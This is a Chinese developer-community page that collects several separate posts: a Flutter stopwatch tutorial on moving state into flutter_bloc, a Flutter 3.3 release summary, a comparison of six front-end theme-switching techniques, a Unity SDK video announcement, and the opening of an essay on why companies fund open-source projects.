bool running = state == StopWatchType.running;
bool stopped = state == StopWatchType.stopped;
Color activeColor = Theme.of(context).primaryColor;
return Wrap(
spacing: 20,
children: [
if(state!=StopWatchType.none)
FloatingActionButton(
child: const Icon(Icons.refresh),
backgroundColor: stopped?activeColor:Colors.grey,
onPressed: stopped?reset:null,
),
FloatingActionButton(
child: running?const Icon(Icons.stop):const Icon(Icons.play_arrow_outlined),
onPressed: onTapIcon,
),
if(state!=StopWatchType.none)
FloatingActionButton(
backgroundColor: running?activeColor:Colors.grey,
child: const Icon(Icons.flag),
onPressed: running?onTapFlag:null,
),
],
);
}



这样按照常理,应该在 _HomePageState 中定义 StopWatchType 对象,并在相关逻辑中维护 state 数据的值,如下 tag1,2,3 处:


StopWatchType state = StopWatchState.none;

void reset(){
duration.value = Duration.zero;
setState(() {
state = StopWatchState.none; // tag1
});
}

void onTapIcon() {
if (_ticker.isTicking) {
_ticker.stop();
lastDuration = Duration.zero;
setState(() {
state = StopWatchType.stopped; // tag2
});
} else {
_ticker.start();
setState(() {
state = StopWatchType.running; // tag3
});
}
}



4.秒表记录值的维护

如下所示,在秒表运行时点击旗子,可以记录当前的时刻并显示在右侧:



由于布局界面在 _HomePageState 中,事件的触发也在该类中定义。按照常理,又需要在其中维护 durationRecord 列表数据,进行界面的展现。


List<Duration> durationRecord = [];
final TextStyle recordTextStyle = const TextStyle(color: Colors.grey);

Widget buildRecordeList(){
return ListView.builder(
itemCount: durationRecord.length,
itemBuilder: (_,index)=>Center(child:
Padding(
padding: const EdgeInsets.all(4.0),
child: Text(
durationRecord[index].toString(),style: recordTextStyle,
),
)
));
}

void onTapFlag() {
setState(() {
durationRecord.add(duration.value);
});
}

void reset(){
duration.value = Duration.zero;
durationRecord.clear();
setState(() {
state = StopWatchState.none;
});
}



其实到这里可以发现,随着功能的增加,需要维护的数据会越来越多。虽然全部塞在 _HomePageState 类型访问和修改比较方便,但随着代码的增加,状态类会越来越臃肿。所以分离逻辑在复杂的场景中是非常必要的。





5. 基于 flutter_bloc 的状态管理

状态类的核心逻辑应该在于界面的 构建逻辑,而业务数据的维护,我们可以提取出来。这里通过 flutter_bloc 来将秒表中数据的维护逻辑进行分离,由 bloc 承担。



我们的目的是为 _HomePageState 状态类 "瘦身" ,如下,其中对于数据的处理逻辑都交由 StopWatchBloc 通过 add 相关事件来触发。_HomePageState 自身就无须书写维护业务数据的逻辑,可以在很大程度上减少 _HomePageState 的代码量,从而让状态类专注于界面构建逻辑。


class _HomePageState extends State<HomePage> {
StopWatchBloc get stopWatchBloc => BlocProvider.of<StopWatchBloc>(context);

void onTapIcon() {
stopWatchBloc.add(const ToggleStopWatch());
}

void onTapFlag() {
stopWatchBloc.add(const RecordeStopWatch());
}

void reset() {
stopWatchBloc.add(const ResetStopWatch());
}



首先创建状态类 StopWatchState 来维护这三个数据:


part of 'bloc.dart';

enum StopWatchType {
none, // 初始态
stopped, // 已停止
running, // 运行中
}

class StopWatchState {
final StopWatchType type;
final List<Duration> durationRecord;
final Duration duration;

const StopWatchState({
this.type = StopWatchType.none,
this.durationRecord = const [],
this.duration = Duration.zero,
});

StopWatchState copyWith({
StopWatchType? type,
List<Duration>? durationRecord,
Duration? duration,
}) {
return StopWatchState(
type: type ?? this.type,
durationRecord: durationRecord??this.durationRecord,
duration: duration??this.duration,
);
}
}



然后定义先关的行为事件,比如 ToggleStopWatch 用于开启或暂停秒表;ResetStopWatch 用于重置秒表;RecordeStopWatch 用于记录值。这就是最核心的三个功能:


abstract class StopWatchEvent {
const StopWatchEvent();
}

class ResetStopWatch extends StopWatchEvent{
const ResetStopWatch();
}

class ToggleStopWatch extends StopWatchEvent {
const ToggleStopWatch();
}

class _UpdateDuration extends StopWatchEvent {
final Duration duration;

_UpdateDuration(this.duration);
}

class RecordeStopWatch extends StopWatchEvent {
const RecordeStopWatch();
}



最后在 StopWatchBloc 中监听相关的事件,进行逻辑处理,产出正确的 StopWatchState 状态量。这样就将数据的维护逻辑封装到了 StopWatchBloc 中。


part 'event.dart';
part 'state.dart';

class StopWatchBloc extends Bloc<StopWatchEvent,StopWatchState>{
Ticker? _ticker;

StopWatchBloc():super(const StopWatchState()){
on<ToggleStopWatch>(_onToggleStopWatch);
on<ResetStopWatch>(_onResetStopWatch);
on<RecordeStopWatch>(_onRecordeStopWatch);
on<_UpdateDuration>(_onUpdateDuration);
}

void _initTickerWhenNull() {
if(_ticker!=null) return;
_ticker = Ticker(_onTick);
}

Duration _dt = Duration.zero;
Duration _lastDuration = Duration.zero;


void _onTick(Duration elapsed) {
_dt = elapsed - _lastDuration;
add(_UpdateDuration(state.duration+_dt));
_lastDuration = elapsed;
}

@override
Future<void> close() async{
_ticker?.dispose();
_ticker = null;
return super.close();
}

void _onToggleStopWatch(ToggleStopWatch event, Emitter<StopWatchState> emit) {
_initTickerWhenNull();
if (_ticker!.isTicking) {
_ticker!.stop();
_lastDuration = Duration.zero;
emit(state.copyWith(type:StopWatchType.stopped));
} else {
_ticker!.start();
emit(state.copyWith(type:StopWatchType.running));
}
}

void _onUpdateDuration(_UpdateDuration event, Emitter<StopWatchState> emit) {
emit(state.copyWith(
duration: event.duration
));
}

void _onResetStopWatch(ResetStopWatch event, Emitter<StopWatchState> emit) {
_lastDuration = Duration.zero;
emit(const StopWatchState());
}

void _onRecordeStopWatch(RecordeStopWatch event, Emitter<StopWatchState> emit) {
List<Duration> currentList = state.durationRecord.map((e) => e).toList();
currentList.add(state.duration);
emit(state.copyWith(durationRecord: currentList));
}
}



6. 组件状态类对状态的访问

这样 StopWatchBloc 封装了状态的变化逻辑,那如何在构建时让 组件状态类 访问到 StopWatchState 呢?实现需要在 HomePage 的上层包裹 BlocProvider 来为子节点能访问 StopWatchBloc 对象。


BlocProvider(
create: (_) => StopWatchBloc(),
child: const HomePage(),
),



比如构建表盘是通过 BlocBuilder 替代 ValueListenableBuilder ,这样当状态量 StopWatchState 发生变化是,且满足 buildWhen 条件时,就会 局部构建 来更新 StopWatchWidget 组件 。其他两个部分同理。这样在保证功能的实现下,就对逻辑进行了分离:



Widget buildStopWatch() {
return BlocBuilder<StopWatchBloc, StopWatchState>(
buildWhen: (p, n) => p.duration != n.duration,
builder: (_, state) => StopWatchWidget(
duration: state.duration,
radius: 120,
),
);
}

另外,由于数据已经分离,记录数据已经和 _HomePageState 解除了耦合。这就意味着记录面板可以毫无顾虑地单独分离出来,独立维护。这又进一步简化了 _HomePageState 中的构建逻辑,简化代码,便于阅读,这就是一个良性的反馈链。



到这里,关于通过状态管理如何分离 业务逻辑 构建逻辑 就介绍的差不多了,大家可以细细品味。其实所有的状态管理库都大同小异,它们的目的不是在于 优化性能 ,而是在于 优化结构层次 。这里用的是 flutter_bloc ,你完全也可以使用其他的状态管理来实现类似的分离。工具千变万化,但思想万变不离其宗。谢谢观看 ~


作者:张风捷特烈
链接:https://juejin.cn/post/7137851060231602184
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

Flutter 3.3 正式发布,快来看看有什么新功能吧

Flutter 3.3 正式发布啦,本次更新带来了 Flutter Web、桌面、文本性能处理等相关更新,另外,本次还为 go_router 、DevTools 和 VS Code 扩展引入了更多更新。 Framework Global Selection F...
继续阅读 »

Flutter 3.3 正式发布啦,本次更新带来了 Flutter Web、桌面、文本性能处理等相关更新,另外,本次还为 go_router 、DevTools 和 VS Code 扩展引入了更多更新


Framework


Global Selection


Flutter Web 在之前的版本中,经常会有选择文本时与预期的行为不匹配的情况,因为与 Flutter App 一样,原生 Web 是由 elements 树组成。


在传统的 Web 应用中,开发者可以通过一个拖动手势选择多个 Web 元素,但这在 Flutter Web 上无法轻松完成。


但是从 3.3 开始,随着SelectableArea 的引入, SelectableArea Widget 的任何 Child 都可以自由启用改能力



要利用这个强大的新特性,只需使用 SelectionArea 嵌套你的页面,比如路由下的 Scaffold,然后让 Flutter 就会完成剩下的工作。



要更全面地深入了解这个新功能,请访问 SelectableArea API



触控板输入


Flutter 3.3 改进了对触控板输入的支持,这不仅提供了更丰富和更流畅的控制逻辑,还减少了某些情况下的错误识别。


举个例子,在 Flutter cookbook 拖动 UI 元素页面,滚动到页面底部,然后执行以下步骤:





    1. 缩小窗口大小,使上部呈现滚动条





    1. 悬停在上部





    1. 使用触控板滚动





    1. 在 Flutter 3.3 之前,在触控板上滚动会拖动项目,因为 Flutter 正在调度模拟的一般事件





    1. Flutter 3.3 后,在触控板上滚动会正确滚动列表,因为 Flutter 提供的是“滚动”手势,卡片无法识别,但滚动可以被识别。




有关更多信息,请参阅 Flutter 触控板手势 设计文档,以及 GitHub 上的以下 PR:



Scribble


感谢社区成员fbcouch的贡献,Flutter 现在支持在 iPadOS 上使用 Apple Pencil 进行 Scribble 手写输入。


默认情况下,此功能在 CupertinoTextFieldTextFieldEditableText 上启用,启用此功能,只需升级到 Flutter 3.3


0_SlsnQUfdOTijdsyF.gif


Text input


为了改进对富文本编辑的支持,该版本引入了平台的 TextInputPlugin以前,TextInputClient 只交付新的编辑状态,没有新旧之间的差异信息,而 TextEditingDeltas 填补了 DeltaTextInputClient 这个信息空白


通过访问这些增量,开发者可以构建一个带有样式范围的输入字段,该范围在用户键入时会扩展和收缩。



要了解更多信息,请查看富文本编辑器演示



Material Design 3


Flutter 团队继续将更多 Material Design 3 组件迁移到 Flutter。此版本包括对IconButtonChips以及AppBar.


要监控 Material Design 3 迁移的进度,请查看GitHub 上的将 Material 3 带到 Flutter


图标按钮



Chip



Medium and large AppBar




Desktop


Windows


以前,Windows 的版本由特定于 Windows 应用的文件设置,但这个行为与其他平台设置其版本的方式不一致。


但现在开发者可以在项目 pubspec.yaml 文件和构建参数中设置 Windows 桌面应用程序版本



有关设置应用程序版本的更多信息,请遵循 docs.flutter.dev上的文档和 迁移指南



Packages


go_router


为了扩展 Flutter 的原生导航 API,团队发布了一个新版本的 go_router 包,它的设计使得移动端、桌面端和 Web 端的路由逻辑变得更加简单。


go router包由 Flutter 团队维护,通过提供声明性的、基于 url 的 API 来简化路由,从而更容易导航和处理深层链接。



最新版本 (5.0) 下应用能够使用异步代码进行重定向,并包括迁移指南中描述的其他重大更改.有关更多信息,请查看 docs.flutter.dev 上的导航和路由页面。



VS Code 扩展增强


Flutter 的 Visual Studio Code 扩展有几个更新,包括添加依赖项的改进,开发者现在可以使用Dart: Add Dependency一步添加多个以逗号分隔的依赖项。



Flutter 开发者工具更新


自上一个稳定的 Flutter 版本以来,DevTools 进行了许多更新,包括对数据显示表的 UX 和性能改进,以便更快、更少地滚动大型事件列表 ( #4175 )。


有关 Flutter 3.0 以来更新的完整列表,请在此处查看各个公告:



Performance


光栅缓存改进


此版本通过消除拷贝和减少 Dart 垃圾收集 (GC) 压力来提高从资产加载图像的性能


以前在加载资产图像时,ImageProvider API 需要多次复制压缩数据,当打开 assets 并将其作为类型化数据数组公开给 Dart 时,它会被复制到 native 堆中,然后当该类型化数据数组会被它被第二次复制到内部 ui.ImmutableBuffer


通过 #32999,压缩的图像字节可以直接加载到ui.ImmutableBuffer.fromAsset用于解码的结构中,这种方法 需要 更改ImageProviders,这个过程也更快,因为它绕过了先前方法基于通道的加载器所需的一些额外的调度开销,特别是在我们的微基准测试中,图像加载时间提高了近 2 倍




有关更多信息和迁移指南,请参阅在 docs.flutter.dev 上ImageProvider.loadBuffer 。



Stability


iOS 指针压缩已禁用


在 2.10 稳定版本中,我们在 iOS 上启用了 Dart 的指针压缩优化,然而 GitHub 上的Yeatse提醒我们 优化的结果并不好。


Dart 的指针压缩通过为 Dart 的堆保留一个大的虚拟内存区域来工作,由于 iOS 上允许的总虚拟内存分配少于其他平台,因此这一大预留量减少了可供其他保留自己内存的组件使用的内存量,例如 Flutter 插件。


虽然禁用指针压缩会增加 Dart 对象消耗的内存,但它也增加了 Flutter 应用程序的非 Dart 部分的可用内存,这总体上更可取的方向


Apple 提供了一项可以增加应用程序允许的最大虚拟内存分配的权利,但是此权利仅在较新的 iOS 版本上受支持,目前这并且不适用于运行 Flutter 仍支持的 iOS 版本的设备。


API 改进


PlatformDispatcher.onError


在以前的版本中,开发者必须手动配置自定义 Zone 项才能捕获应用程序的所有异常和错误,但是自定义 Zone 对 Dart 核心库中的一些优化是有害的,这会减慢应用程序的启动时间。


在此版本中,开发者可以通过设置回调来捕获所有错误和异常,而不是使用自定义。



有关更多信息,请查看docs.flutter.dev 上 Flutter 页面中更新的 PlatformDispatcher.onError



FragmentProgram changes


用 GLSL 编写并在 shaders: 应用文件的 Flutter 清单中列出的片段着色器,pubspec.yaml 现在将自动编译为引擎可以理解的正确格式,并作为 assets 与应用捆绑在一起。


通过此次更改,开发者将不再需要使用第三方工具手动编译着色器,未来应该是将 Engine 的FragmentProgram API 视为仅接受 Flutter 构建工具的输出,当然目前还没有这种情况,但计划在未来的版本中进行此更改,如 FragmentProgram API 支持改进设计文档中所述。



有关此更改的示例,请参阅此Flutter 着色器示例



Fractional translation


以前,Flutter Engine 总是将 composited layers 与精确的像素边界对齐,因为它提高了旧款(32 位)iPhone 的渲染性能。


自从添加桌面支持以来,我们注意到这导致了可观察到的捕捉行为,因为屏幕设备像素比通常要低得多,例如,在低 DPR 屏幕上,可以看到工具提示在淡入时明显捕捉。


在确定这种像素捕捉对于新 iPhone 型号的性能不再必要后,#103909 从 Flutter 引擎中删除了这种像素捕捉以提高桌面保真度。


此外,我们还发现,去除这种像素捕捉可以稳定我们的一些黄金图像测试,这些测试会经常随着细微的细线渲染差异而改变。


对支持平台的更改


32 位 iOS 弃用


正如我们之前在3.0 版本里宣布的一样 ,由于使用量减少,该版本是最后一个支持 32 位 iOS 设备和 iOS 版本 9 和 10的版本。


此更改影响 iPhone 4S、iPhone 5、iPhone 5C 以及第 2、3d 和第 4 代 iPad 设备。


Flutter 3.3 稳定版本和所有后续稳定版本不再支持 32 位 iOS 设备以及 iOS 9 和 10 版本,这意味着基于 Flutter 3.3 及更高版本构建的应用程序将无法在这些设备上运行。


停用 macOS 10.11 和 10.12


在 2022 年第四季度稳定版本中,我们预计将放弃对 macOS 版本 10.11 和 10.12 的支持。


这意味着在那之后针对稳定的 Flutter SDK 构建的应用程序将不再在这些版本上运行,并且 Flutter 支持的最低 macOS 版本将增加到 10.13 High Sierra。


Bitcode deprecation


在即将发布的 Xcode 14 版本中,iOS 应用程序提交将不再接受 Bitcode ,并且启用了 bitcode 的项目将在此版本的 Xcode 中发出构建警告。鉴于此,Flutter 将在未来的稳定版本中放弃对位码的支持。


默认情况下,Flutter 应用程序没有启用 Bitcode,我们预计这不会影响许多开发人员。


但是,如果你在 Xcode 项目中手动启用了 bitcode,请在升级到 Xcode 14 后立即禁用它,可以通过打开 ios/Runner.xcworkspace 构建设置Enable Bitcode并将其设置为No来做到这一点,Add-to-app 开发者应该在宿主 Xcode 项目中禁用它。



作者:恋猫de小郭
链接:https://juejin.cn/post/7137845252139778084
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

前端主题切换方案

web
前端主题切换方案 现在我们经常可以看到一些网站会有类似暗黑模式/白天模式的主题切换功能,效果也是十分炫酷,在平时的开发场景中也有越来越多这样的需求,这里大致罗列一些常见的主题切换方案并分析其优劣,大家可根据需求综合分析得出一套适用的方案。方案1:link标签动...
继续阅读 »


前端主题切换方案

现在我们经常可以看到一些网站会有类似暗黑模式/白天模式的主题切换功能,效果也是十分炫酷,在平时的开发场景中也有越来越多这样的需求,这里大致罗列一些常见的主题切换方案并分析其优劣,大家可根据需求综合分析得出一套适用的方案。

方案1:link标签动态引入

其做法就是提前准备好几套CSS主题样式文件,在需要的时候,创建link标签动态加载到head标签中,或者是动态改变link标签的href属性。

表现效果如下:


网络请求如下:


优点:

  • 实现了按需加载,提高了首屏加载时的性能

缺点:

  • 动态加载样式文件,如果文件过大网络情况不佳的情况下可能会有加载延迟,导致样式切换不流畅

  • 如果主题样式表内定义不当,会有优先级问题

  • 各个主题样式是写死的,后续针对某一主题样式表修改或者新增主题也很麻烦

方案2:提前引入所有主题样式,做类名切换

这种方案与第一种比较类似,为了解决反复加载样式文件问题提前将样式全部引入,在需要切换主题的时候将指定的根元素类名更换,相当于直接做了样式覆盖,在该类名下的各个样式就统一地更换了。其基本方法如下:

/* day样式主题 */
body.day .box {
 color: #f90;
 background: #fff;
}
/* dark样式主题 */
body.dark .box {
 color: #eee;
 background: #333;
}

.box {
 width: 100px;
 height: 100px;
 border: 1px solid #000;
}
<div class="box">
 <p>hello</p>
</div>
<p>
选择样式:
 <button onclick="change('day')">day</button>
 <button onclick="change('dark')">dark</button>
</p>
function change(theme) {
 document.body.className = theme;
}

表现效果如下:


优点:

  • 不用重新加载样式文件,在样式切换时不会有卡顿

缺点:

  • 首屏加载时会牺牲一些时间加载样式资源

  • 如果主题样式表内定义不当,也会有优先级问题

  • 各个主题样式是写死的,后续针对某一主题样式表修改或者新增主题也很麻烦

方案小结

通过以上两个方案,我们可以看到对于样式的加载问题上的考量就类似于在纠结是做SPA单页应用还是MPA多页应用项目一样。两种其实都误伤大雅,但是最重要的是要保证在后续的持续开发迭代中怎样会更方便。因此我们还可以基于以上存在的问题和方案做进一步的增强。

在做主题切换技术调研时,看到了网友的一条建议:

灵活切换样式.png 因此下面的几个方案主要是针对变量来做样式切换

方案3:CSS变量+类名切换

灵感参考:Vue3官网
Vue3官网有一个暗黑模式切换按钮,点击之后就会平滑地过渡,虽然Vue3中也有一个v-bind特性可以实现动态样式绑定,但经过观察以后Vue官网并没有采取这个方案,针对Vue3v-bind特性在接下来的方案中会细说。
大体思路跟方案2相似,依然是提前将样式文件载入,切换时将指定的根元素类名更换。不过这里相对灵活的是,默认在根作用域下定义好CSS变量,只需要在不同的主题下更改CSS变量对应的取值即可。
顺带提一下,在Vue3官网还使用了color-scheme: dark;将系统的滚动条设置为了黑色模式,使样式更加统一。

html.dark {
 color-scheme: dark;
}

实现方案如下:

/* 定义根作用域下的变量 */
:root {
 --theme-color: #333;
 --theme-background: #eee;
}
/* 更改dark类名下变量的取值 */
.dark{
 --theme-color: #eee;
 --theme-background: #333;
}
/* 更改pink类名下变量的取值 */
.pink{
 --theme-color: #fff;
 --theme-background: pink;
}

.box {
 transition: all .2s;
 width: 100px;
 height: 100px;
 border: 1px solid #000;
 /* 使用变量 */
 color: var(--theme-color);
 background: var(--theme-background);
}

表现效果如下:


优点:

  • 不用重新加载样式文件,在样式切换时不会有卡顿

  • 在需要切换主题的地方利用var()绑定变量即可,不存在优先级问题

  • 新增或修改主题方便灵活,仅需新增或修改CSS变量即可,在var()绑定样式变量的地方就会自动更换

缺点:

  • IE兼容性(忽略不计)

  • 首屏加载时会牺牲一些时间加载样式资源

方案4:Vue3新特性(v-bind)

虽然这种方式存在局限性只能在Vue开发中使用,但是为Vue项目开发者做动态样式更改提供了又一个不错的方案。

简单用法

<script setup>
// 这里可以是原始对象值,也可以是ref()或reactive()包裹的值,根据具体需求而定
const theme = {
  color: 'red'
}
</script>

<template>
<p>hello</p>
</template>

<style scoped>
p {
  color: v-bind('theme.color');
}
</style>

Vue3中在style样式通过v-bind()绑定变量的原理其实就是给元素绑定CSS变量,在绑定的数据更新时调用CSSStyleDeclaration.setProperty更新CSS变量值。

实现思考

前面方案3基于CSS变量绑定样式是在:root上定义变量,然后在各个地方都可以获取到根元素上定义的变量。现在的方案我们需要考虑的问题是,如果是基于JS层面如何在各个组件上优雅地使用统一的样式变量?
我们可以利用Vuex或Pinia对全局样式变量做统一管理,如果不想使用类似的插件也可以自行封装一个hook,大致如下:

// 定义暗黑主题变量
export default {
 fontSize: '16px',
 fontColor: '#eee',
 background: '#333',
};
// 定义白天主题变量
export default {
 fontSize: '20px',
 fontColor: '#f90',
 background: '#eee',
};
import { shallowRef } from 'vue';
// 引入主题
import theme_day from './theme_day';
import theme_dark from './theme_dark';

// 定义在全局的样式变量
const theme = shallowRef({});

export function useTheme() {
 // 尝试从本地读取
 const localTheme = localStorage.getItem('theme');
 theme.value = localTheme ? JSON.parse(localTheme) : theme_day;
 
 const setDayTheme = () => {
   theme.value = theme_day;
};
 
 const setDarkTheme = () => {
   theme.value = theme_dark;
};
 
 return {
   theme,
   setDayTheme,
   setDarkTheme,
};
}

使用自己封装的主题hook

<script setup lang="ts">
import { useTheme } from './useTheme.ts';
import MyButton from './components/MyButton.vue';
 
const { theme } = useTheme();
</script>

<template>
 <div class="box">
   <span>Hello</span>
 </div>
 <my-button />
</template>

<style lang="scss">
.box {
width: 100px;
height: 100px;
background: v-bind('theme.background');
color: v-bind('theme.fontColor');
font-size: v-bind('theme.fontSize');
}
</style>
<script setup lang="ts">
import { useTheme } from '../useTheme.ts';
 
const { theme, setDarkTheme, setDayTheme } = useTheme();
 
const change1 = () => {
 setDarkTheme();
};
 
const change2 = () => {
 setDayTheme();
};
</script>

<template>
 <button class="my-btn" @click="change1">dark</button>
 <button class="my-btn" @click="change2">day</button>
</template>

<style scoped lang="scss">
.my-btn {
 color: v-bind('theme.fontColor');
 background: v-bind('theme.background');
}
</style>

表现效果如下:


其实从这里可以看到,跟Vue的响应式原理一样,只要数据发生改变,Vue就会把绑定了变量的地方通通更新。

优点:

  • 不用重新加载样式文件,在样式切换时不会有卡顿

  • 在需要切换主题的地方利用v-bind绑定变量即可,不存在优先级问题

  • 新增或修改主题方便灵活,仅需新增或修改JS变量即可,在v-bind()绑定样式变量的地方就会自动更换

缺点:

  • IE兼容性(忽略不计)

  • 首屏加载时会牺牲一些时间加载样式资源

  • 这种方式只要是在组件上绑定了动态样式的地方都会有对应的编译成哈希化的CSS变量,而不像方案3统一地就在:root上设置(不确定在达到一定量级以后的性能),也可能正是如此,Vue官方也并未采用此方式做全站的主题切换

方案5:SCSS + mixin + 类名切换

主要是运用SCSS的混合+CSS类名切换,其原理主要是将使用到mixin混合的地方编译为固定的CSS以后,再通过类名切换去做样式的覆盖,实现方案如下:
定义SCSS变量

/* 字体定义规范 */
$font_samll:12Px;
$font_medium_s:14Px;
$font_medium:16Px;
$font_large:18Px;

/* 背景颜色规范(主要) */
$background-color-theme: #d43c33;//背景主题颜色默认(网易红)
$background-color-theme1: #42b983;//背景主题颜色1(QQ绿)
$background-color-theme2: #333;//背景主题颜色2(夜间模式)

/* 背景颜色规范(次要) */
$background-color-sub-theme: #f5f5f5;//背景主题颜色默认(网易红)
$background-color-sub-theme1: #f5f5f5;//背景主题颜色1(QQ绿)
$background-color-sub-theme2: #444;//背景主题颜色2(夜间模式)

/* 字体颜色规范(默认) */
$font-color-theme : #666;//字体主题颜色默认(网易)
$font-color-theme1 : #666;//字体主题颜色1(QQ)
$font-color-theme2 : #ddd;//字体主题颜色2(夜间模式)

/* 字体颜色规范(激活) */
$font-active-color-theme : #d43c33;//字体主题颜色默认(网易红)
$font-active-color-theme1 : #42b983;//字体主题颜色1(QQ绿)
$font-active-color-theme2 : #ffcc33;//字体主题颜色2(夜间模式)

/* 边框颜色 */
$border-color-theme : #d43c33;//边框主题颜色默认(网易)
$border-color-theme1 : #42b983;//边框主题颜色1(QQ)
$border-color-theme2 : #ffcc33;//边框主题颜色2(夜间模式)

/* 字体图标颜色 */
$icon-color-theme : #ffffff;//边框主题颜色默认(网易)
$icon-color-theme1 : #ffffff;//边框主题颜色1(QQ)
$icon-color-theme2 : #ffcc2f;//边框主题颜色2(夜间模式)
$icon-theme : #d43c33;//边框主题颜色默认(网易)
$icon-theme1 : #42b983;//边框主题颜色1(QQ)
$icon-theme2 : #ffcc2f;//边框主题颜色2(夜间模式)

定义混合mixin

@import "./variable.scss";

@mixin bg_color(){
 background: $background-color-theme;
[data-theme=theme1] & {
   background: $background-color-theme1;
}
[data-theme=theme2] & {
   background: $background-color-theme2;
}
}
@mixin bg_sub_color(){
 background: $background-color-sub-theme;
[data-theme=theme1] & {
   background: $background-color-sub-theme1;
}
[data-theme=theme2] & {
   background: $background-color-sub-theme2;
}
}

@mixin font_color(){
 color: $font-color-theme;
[data-theme=theme1] & {
   color: $font-color-theme1;
}
[data-theme=theme2] & {
   color: $font-color-theme2;
}
}
@mixin font_active_color(){
 color: $font-active-color-theme;
[data-theme=theme1] & {
   color: $font-active-color-theme1;
}
[data-theme=theme2] & {
   color: $font-active-color-theme2;
}
}

@mixin icon_color(){
   color: $icon-color-theme;
  [data-theme=theme1] & {
       color: $icon-color-theme1;
  }
  [data-theme=theme2] & {
       color: $icon-color-theme2;
  }
}

@mixin border_color(){
 border-color: $border-color-theme;
[data-theme=theme1] & {
   border-color: $border-color-theme1;
}
[data-theme=theme2] & {
   border-color: $border-color-theme2;
}
}
<template>
<div @click="changeTheme">
<div>
<slot name="left">左边</slot>
</div>
<slot name="center">中间</slot>
<div>
<slot name="right">右边</slot>
</div>
</div>
</template>

<script>
export default {
name: 'Header',
methods: {
changeTheme () {
document.documentElement.setAttribute('data-theme', 'theme1')
}
}
}
</script>

<style scoped lang="scss">
@import "../assets/css/variable";
@import "../assets/css/mixin";
.header{
width: 100%;
height: 100px;
font-size: $font_medium;
@include bg_color();
}
</style>

表现效果如下:


可以发现,使用mixin混合在SCSS编译后同样也是将所有包含的样式全部加载:

这种方案最后得到的结果与方案2类似,只是在定义主题时由于是直接操作的SCSS变量,会更加灵活。

优点:

  • 不用重新加载样式文件,在样式切换时不会有卡顿

  • 在需要切换主题的地方利用mixin混合绑定变量即可,不存在优先级问题

  • 新增或修改主题方便灵活,仅需新增或修改SCSS变量即可,经过编译后会将所有主题全部编译出来

缺点:

  • 首屏加载时会牺牲一些时间加载样式资源

方案6:CSS变量+动态setProperty

此方案较于前几种会更加灵活,不过视情况而定,这个方案适用于由用户根据颜色面板自行设定各种颜色主题,这种是主题颜色不确定的情况,而前几种方案更适用于定义预设的几种主题。
方案参考:vue-element-plus-admin
主要实现思路如下:
只需在全局中设置好预设的全局CSS变量样式,无需单独为每一个主题类名下重新设定CSS变量值,因为主题是由用户动态决定。

:root {
--theme-color: #333;
--theme-background: #eee;
}

定义一个工具类方法,用于修改指定的CSS变量值,调用的是CSSStyleDeclaration.setProperty

export const setCssVar = (prop: string, val: any, dom = document.documentElement) => {
dom.style.setProperty(prop, val)
}

在样式发生改变时调用此方法即可

setCssVar('--theme-color', color)

表现效果如下:


vue-element-plus-admin主题切换源码:


这里还用了vueuseuseCssVar不过效果和Vue3中使用v-bind绑定动态样式是差不多的,底层都是调用的CSSStyleDeclaration.setProperty这个api,这里就不多赘述vueuse中的用法。

优点:

  • 不用重新加载样式文件,在样式切换时不会有卡顿

  • 仔细琢磨可以发现其原理跟方案4利用Vue3的新特性v-bind是一致的,只不过此方案只在:root上动态更改CSS变量而Vue3中会将CSS变量绑定到任何依赖该变量的节点上。

  • 需要切换主题的地方只用在:root上动态更改CSS变量值即可,不存在优先级问题

  • 新增或修改主题方便灵活

缺点:

  • IE兼容性(忽略不计)

  • 首屏加载时会牺牲一些时间加载样式资源(相对于前几种预设好的主题,这种方式的样式定义在首屏加载基本可以忽略不计)

方案总结

说明:两种主题方案都支持并不代表一定是最佳方案,视具体情况而定。

方案/主题样式固定预设主题样式主题样式不固定
方案1:link标签动态引入√(文件过大,切换延时,不推荐)×
方案2:提前引入所有主题样式,做类名切换×
方案3:CSS变量+类名切换√(推荐)×
方案4:Vue3新特性(v-bind)√(性能不确定)√(性能不确定)
方案5:SCSS + mixin + 类名切换√(推荐,最终呈现效果与方案2类似,但定义和使用更加灵活)×
方案6:CSS变量+动态setProperty√(更推荐方案3)√(推荐)

作者:四相前端团队

来源:juejin.cn/post/7134594122391748615

收起阅读 »

【视频教程】集成环信Unity SDK教程,附Demo

教程地址:https://www.imgeek.org/video/115本教程讲述以下两点:1.跟着文档快速集成环信 IM Unity SDK,实现单聊功能2.集成SDK时需要注意的点Demo下载:链接: https://pan.baidu.com...
继续阅读 »

教程地址:https://www.imgeek.org/video/115

本教程讲述以下两点:
1.跟着文档快速集成环信 IM Unity SDK,实现单聊功能
2.集成SDK时需要注意的点

Demo下载:链接: https://pan.baidu.com/s/1cWsUTO5oZQIWqKw3YyM7EA  密码: 27kn

收起阅读 »

只想做开源项目、技术项目,不想做业务,有办法吗?

连续两期视频都有朋友问类似问题:“我只对开源项目、技术项目感兴趣,不想做业务,怎么办?”。这种工作可能是所有人梦寐以求的,又能提升自己前端技术,又能提升社区知名度,还不用被业务左右。这么好的工作怎么找?今天我们来分析分析~为什么公司需要做技术项目首先我们从公司...
继续阅读 »

连续两期视频都有朋友问类似问题:“我只对开源项目、技术项目感兴趣,不想做业务,怎么办?”。



这种工作可能是所有人梦寐以求的,又能提升自己前端技术,又能提升社区知名度,还不用被业务左右。这么好的工作怎么找?今天我们来分析分析~

为什么公司需要做技术项目

首先我们从公司角度看看,为什么公司需要做技术项目?

我们需要先明确一点,公司是逐利的,不管是做技术项目,还是做业务,一定是要给公司带来价值的。业务的价值就不必说了,那技术项目能给公司带来什么价值?

举个知名开源库 ant design 的例子吧~

公司有几千个中后台应用,antd design 组件库的诞生,统一了此类应用的设计风格,同时极大提升了开发效率,对公司来讲,节省了极大的人力成本,这就是技术项目给公司带来的实打实的价值。

技术项目的价值一般是要这么计算的:覆盖了 xx 项目,提升了 xx% 效率,为公司节省了 xx 人力。

你不会以为做 ant design,最终汇报的时候,就是说自己做了 xx 个组件吧~

你不会以为做 ahooks,最终汇报的时候,就是说自己做了 xx 个 Hooks 吧~

所以公司为什么要做技术项目?那就是技术项目能给公司节省成本,带来价值。

为什么公司要把技术项目开源

答案很简单,因为开源能给公司带来价值。那价值是什么?

还是举 ant design 的例子,公司把 ant design 开源之后,收益至少有两部分

  1. 借社区无穷的力量,打磨 ant design 组件库,把它里面隐藏的 bug 都捉出来

  2. 吸引人才。君不见多少优秀的前端是被 ant design 吸引进去的?

